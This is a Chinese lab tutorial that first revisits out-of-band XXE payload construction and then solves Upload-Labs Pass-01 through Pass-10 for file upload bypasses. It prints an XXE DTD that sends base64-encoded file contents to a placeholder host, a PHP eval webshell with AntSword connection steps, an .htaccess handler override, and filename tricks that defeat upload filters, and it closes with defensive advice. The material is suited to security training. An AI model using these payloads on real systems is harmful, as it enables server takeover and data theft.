从XXE遗留疑问到Upload-Labs全通关:文件上传漏洞的溯源与实战突破

在上节课的 XXE 漏洞实战课程后,不少同学针对攻击 Payload 的构造留下了三个核心疑问:为什么实体要嵌套一层?为什么必须引用外部 DTD?%到底是什么?而在本节课,我们将深入 Web 安全中最常见也最危险的文件上传漏洞,从基础概念到靶场全通关,带你彻底吃透这个漏洞的原理、利用与绕过技巧。


一、温故知新:上节课 XXE 攻击的三个核心解惑

在上节课的带外 XXE 攻击中,我们用到了这样一套攻击流程:

  1. 向目标服务器提交恶意 XML payload,引用我们虚拟机上的外部 DTD

  2. 虚拟机上的vil.dtd定义攻击逻辑,读取目标服务器的文件

  3. 虚拟机上的get.php接收读取到的文件内容

很多同学对这部分的 Payload 构造有不少疑问,我们来逐一拆解:

1.1 为什么all参数实体需要嵌套一层?

很多同学会问,为什么不能直接把所有实体都写在同一层?这是因为 XML 的解析规则决定的:同层级的参数实体不会被递归解析

如果我们直接写:

复制代码
​
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C://test.txt">
<!ENTITY % send SYSTEM 'http://xx.xx.xx.xx/get.php?file=%file;'>
%send;

在解析的时候,%file;不会被提前解析,send实体拿到的只是字符串%file;,而不是文件的内容,自然无法完成攻击。

而嵌套一层之后:

复制代码
​
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C://test.txt">
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://xx.xx.xx.xx/get.php?file=%file;'>">
%all;
%send;

我们先解析%all;,把里面的内容展开成新的实体定义,这时候%file;已经被替换成了文件的 Base64 内容,再解析%send;的时候,就能把文件内容传递给我们的接收脚本了。

1.2 为什么必须引用外部 DTD 文件,不能直接在内部写?

这是 XML 的语法规范的硬性限制!在 DTD 的内部子集中,不允许在标记声明中引用参数实体。

简单来说,如果你直接在当前的 XML 里写所有的实体定义,XML 解析器会直接报错,不允许这么写。只有把这部分实体定义放到外部 DTD 文件里,才能绕过这个限制,让解析器正常执行我们的攻击逻辑。

这也是为什么我们必须在虚拟机上放一个vil.dtd文件,而不是把所有内容都写在提交的 XML 里的原因。

1.3 &#x25;到底是什么,为什么不能直接写%

&#x25;是字符%的 XML 十六进制实体编码。

如果我们直接写%,在第一次解析 DTD 的时候,这个%会被提前解析,导致我们的实体定义语法错误。而用编码后的&#x25;,第一次解析的时候它会被当作普通字符,直到展开%all;的时候,才会被解析成真正的%,完成参数实体的定义。

这是一个非常巧妙的转义技巧,用来避免 XML 解析器提前解析我们的特殊字符,保证攻击 Payload 的语法正确。


二、文件上传漏洞:从概念到基础实战

解决了上节课的疑问,我们进入本节课的核心:文件上传漏洞。

2.1 什么是文件上传漏洞?

文件上传是 Web 应用中非常常见的功能:用户上传头像、上传附件、上传图片,这些都是正常的上传场景。

而文件上传漏洞,就是攻击者利用这个功能,上传一个可执行的脚本文件(比如 PHP、JSP),然后访问这个文件,让服务器执行里面的恶意代码,从而接管整个服务器。

  • 正常上传:服务器把上传的文件当作静态文件存储,不会执行它的内容。

  • 恶意上传:攻击者上传的是可执行脚本,服务器会解析执行里面的代码,攻击者从而获得服务器的控制权。

这个漏洞的危害极大:一旦成功,攻击者可以直接篡改网站首页、窃取所有数据、植入永久后门、甚至提权拿下整个服务器,相当于把服务器的控制权完全交给了攻击者。

2.2 基础实操:"卧底" 文件的上传与利用

我们用本地 PHPStudy 搭建的基础上传靶场来做演示,上传目录是up/,初始状态没有任何校验。

第一个 "卧底":phpinfo 探针

我们先写一个最简单的1.php,内容只有一行:

复制代码
​
<?php phpinfo(); ?>

直接把这个文件上传到服务器,然后访问http://localhost/up/1.php,就可以看到服务器的 PHP 信息了。

这个文件就像一个 "卧底",悄无声息的把服务器的配置信息传递给我们,这就是最基础的信息泄露。

第二个 "卧底":一句话木马

接下来我们写一个更强大的 "卧底":2.php,内容是:

复制代码
​
<?php @eval($_POST[cmd]); ?>

这就是 PHP 中最经典的一句话木马,我们来拆解它的原理:

  • @:错误抑制符,不管执行过程中出现什么错误,都强制让代码继续执行,避免暴露攻击痕迹。

  • eval():PHP 的核心函数,作用是把传入的字符串当作 PHP 代码来执行。

  • $_POST[cmd]:接收我们通过 POST 方式传递的参数cmd,也就是说,我们给cmd传什么内容,eval就会执行什么代码,完全由我们控制。

大白话来说:这个文件就像一个远程控制的入口,你给它发什么命令,它就帮你在服务器上执行什么命令。

2.3 蚁剑联动:一键拿下整个服务器

有了一句话木马,我们就可以用 ** 蚁剑(AntSword)** 来连接它,一键接管整个服务器。

蚁剑是一款开源的网站管理工具,专门用来连接一句话木马,实现对服务器的可视化管理。

操作步骤非常简单:

  1. 打开蚁剑,右键点击空白处,选择「添加数据」

  2. 填写 URL:http://localhost/up/2.php,连接密码:cmd(就是我们木马的参数名)

  3. 测试连接,提示连接成功后,双击这个条目,就可以进入服务器的文件管理界面了。

进入之后,你会发现,你已经完全控制了这个服务器的所有文件:

  • 你可以直接修改网站的首页,把它改成入侵提示,整个网站就被你篡改了

  • 你可以打开虚拟终端,直接在服务器上执行系统命令,就像操作自己的电脑一样

  • 你甚至可以把整个网站的文件全部删除,让这个网站直接从互联网上消失

这就是文件上传漏洞的可怕之处:一旦你能上传可执行脚本,整个服务器就彻底沦陷了。


三、绕过检测:从基础校验到 Upload-Labs 全通关

开发者发现漏洞之后,肯定会做防御,最常见的就是加文件校验:只允许上传图片,不允许上传脚本。那我们怎么绕过这些校验?

3.1 基础绕过案例:Burp Suite 的 "狸猫换太子"

最基础的防御就是:前端校验文件后缀,只允许上传.png.jpg,不允许上传.php

我们的绕过思路也很简单:用 Burp Suite 抓包改包,玩一手 "狸猫换太子"。

操作步骤:

  1. 我们先把恶意的3.php改名为3.png,这样前端的校验就可以通过,顺利提交上传请求。

  2. 用 Burp Suite 拦截这个上传请求,把文件名从3.png改回3.php,然后把请求发给服务器。

  3. 服务器拿到请求后,校验的时候看到的是png后缀,就放过了,但是保存的时候用的是我们改后的3.php,这样恶意文件就成功上传了。

这就是最基础的绕过:开发者的校验是基于客户端提交的信息,而我们可以完全控制提交的内容,所以只要修改请求包,就可以绕过校验。

3.2 Upload-Labs 靶场:10 关全解析

Upload-Labs 是一个专门用来练习文件上传漏洞绕过的经典靶场,收集了各种常见的上传校验场景,我们把前 10 关全部打通,就能掌握大部分的绕过技巧。

靶场准备

首先我们搭建靶场:

  1. 下载 Upload-Labs 的压缩包,解压到 PHPStudy 的 WWW 目录

  2. 访问http://localhost/,如果能看到关卡列表,就说明启动成功了

接下来我们逐个拆解每一关的防御逻辑和绕过方法:

Pass-01:前端 JS 校验绕过
  • 防御逻辑 :前端用 JS 检查文件后缀,只允许上传.jpg/.png/.gif,后端没有任何校验。

  • 绕过思路:前端的校验完全不可信,我们可以直接修改前端的 JS 代码,或者禁用 JS,或者抓包改包,直接把 PHP 文件传上去。

  • 实操:把前端校验函数的判断条件改成恒假,或者直接禁用浏览器的 JS,就可以直接上传 PHP 文件了。

Pass-02:MIME 类型校验绕过
  • 防御逻辑 :后端校验请求头里的Content-Type,只允许image/png等图片类型。

  • 绕过思路Content-Type是我们可以随便改的,抓包把 PHP 文件的Content-Type改成image/png,就可以绕过校验,成功上传。

Pass-03:黑名单验证绕过
  • 防御逻辑 :后端用黑名单,过滤了.php等常见的脚本后缀,不让上传。

  • 绕过思路 :黑名单不可能把所有的可执行后缀都列全,Apache 服务器支持解析.phtml.php3.php5这些后缀,我们把文件改成这些没被过滤的后缀,就可以上传,然后访问的时候就会被当作 PHP 执行。

Pass-04:.htaccess 配置覆盖绕过
  • 防御逻辑 :这一关把所有的 PHP 相关后缀都过滤了,连.php3这些都不让传。

  • 绕过思路 :我们可以上传一个.htaccess文件,这个文件是 Apache 的配置文件,可以覆盖当前目录的默认配置。我们在里面写规则,把指定的图片后缀当作 PHP 来解析。 我们的.htaccess内容:

    复制代码
      
      <FilesMatch "loudong.jpg">
      SetHandler application/x-httpd-php
      </FilesMatch>

    然后上传名为loudong.jpg的 PHP 文件,访问这个 jpg 文件的时候,Apache 就会把它当作 PHP 来执行,成功绕过。

Pass-05:大小写绕过
  • 防御逻辑:黑名单校验后缀,但是没有把后缀转成小写。

  • 绕过思路 :Windows 系统的文件名是不区分大小写的,我们把文件改成1.PHP,后端校验的时候,黑名单里的是小写的php,没匹配到,就放过了,但是服务器保存之后,访问的时候会自动识别成 PHP 文件,成功执行。

Pass-06:末尾空格绕过
  • 防御逻辑:黑名单校验,但是没有去除文件名末尾的空格。

  • 绕过思路 :Windows 系统会自动去除文件名末尾的空格,我们上传的时候把文件名改成1.php(后面加个空格),后端校验的时候,拿到的后缀是php,黑名单里的是php,没匹配到,就放过了,保存之后,Windows 自动去掉空格,变成1.php,成功执行。

Pass-07:增加一个。绕过
  • 防御逻辑:黑名单校验,但是没有去除文件名末尾的点。

  • 绕过思路 :同样是 Windows 的特性,会自动去掉文件名末尾的点,我们把文件名改成1.php.,后端校验的时候后缀是php.,没匹配到,保存之后 Windows 自动去掉点,变成1.php,成功上传。

Pass-08:::$DATA 绕过
  • 防御逻辑:这一关过滤了前面的那些绕过方式,但是没考虑 Windows 的文件流特性。

  • 绕过思路 :Windows 的 NTFS 文件系统支持交换数据流,当文件名加上::$DATA的时候,系统会把后面的内容当作文件流来处理,我们把文件名改成1.php::$DATA,后端校验的时候后缀是php::$DATA,没匹配到,保存之后,系统自动去掉::$DATA,变成1.php,成功上传。

Pass-09:代码不严谨绕过
  • 防御逻辑 :后端有个deldot函数,用来删除文件名末尾的点,比如把1.php...变成1.php

  • 绕过思路 :这个函数的逻辑是从后往前删除点,但是如果中间有空格的话,就会停止删除。我们把文件名改成1.php. .(点 + 空格 + 点),函数处理的时候,先把最后一个点删掉,遇到空格就停止了,最后剩下的就是1.php.,保存的时候 Windows 自动去掉末尾的点和空格,变成1.php,成功绕过。

Pass-10:双写绕过
  • 防御逻辑 :后端用str_ireplace把黑名单里的后缀都替换成空,比如把文件名里的php删掉。

  • 绕过思路 :这个替换是一次性的,从左往右替换,我们把文件名改成1.pphphp,替换的时候,会把中间的php删掉,剩下的就是1.php,刚好是我们要的 PHP 后缀,成功绕过。


四、总结与课后作业

4.1 核心总结

开发者做的任何校验,本质上都是基于攻击者提交的数据来判断的,而攻击者可以完全控制提交的数据,所以永远有办法找到绕过的方法。

对于防御来说,不能只靠简单的后缀校验,要做多层防御:

  1. 上传文件后强制重命名,不要用用户提交的文件名

  2. 把上传目录放到非 Web 可访问的目录

  3. 限制上传目录的执行权限,禁止 PHP 执行

  4. 禁用 PHP 的危险函数,限制代码执行的权限

4.2 课后作业

完成 Upload-Labs 的 Pass-01 到 Pass-10 的闯关,把每一关的成功截图整理成文档,提交作业即可。

相关推荐
星轨初途2 小时前
C++ 类和对象(下):初始化列表、static 成员与编译器优化深度剖析
android·开发语言·c++·经验分享·笔记
恋猫de小郭2 小时前
Flutter 的 build_runner 已经今非昔比,看看 build_runner 2.13 有什么特别?
android·前端·flutter
xiangpanf12 小时前
Laravel 10.x重磅升级:五大核心特性解析
android
robotx15 小时前
安卓线程相关
android
消失的旧时光-194316 小时前
Android 面试高频:JSON 文件、大数据存储与断电安全(从原理到工程实践)
android·面试·json
dalancon17 小时前
VSYNC 信号流程分析 (Android 14)
android
dalancon17 小时前
VSYNC 信号完整流程2
android
dalancon17 小时前
SurfaceFlinger 上帧后 releaseBuffer 完整流程分析
android
用户693717500138418 小时前
不卷AI速度,我卷自己的从容——北京程序员手记
android·前端·人工智能